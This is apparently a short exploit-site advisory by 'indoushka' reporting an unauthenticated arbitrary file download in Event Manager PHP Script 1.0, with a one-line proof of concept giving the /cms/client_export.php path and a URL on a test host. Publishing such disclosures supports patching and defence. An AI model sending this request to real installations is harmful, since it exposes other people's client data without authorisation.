Event Manager PHP Script Version 1.0 Arbitrary file download Vulnerability

2018.02.16

indoushka (DZ)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

==========================================================================================================================================
| # Title : Event Manager PHP Script Version 1.0 Arbitrary file download Vulnerability |
| # Author : indoushka |
| # Telegram : @indoushka |
| # Tested on : Win 10 X64 /Fr(Pro) |
| # Vendor : https://codecanyon.net/item/eventmanager-php-script-admin-panel/21280741?s_rank=29 |
| # Dork : n/a |
==========================================================================================================================================
poc :
[+] Use Payload : /cms/client_export.php
http://ezcode.pt/tests/EventManager/cms/client_export.php
Greetz :----------------------------------------------------------------------------------------
|
jericho * Larry W. Cashdollar * 9aylas * djroot.dz *Gjoko 'LiquidWorm' Krstic |
|
================================================================================================

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Event Manager PHP Script Version 1.0 Arbitrary file download Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.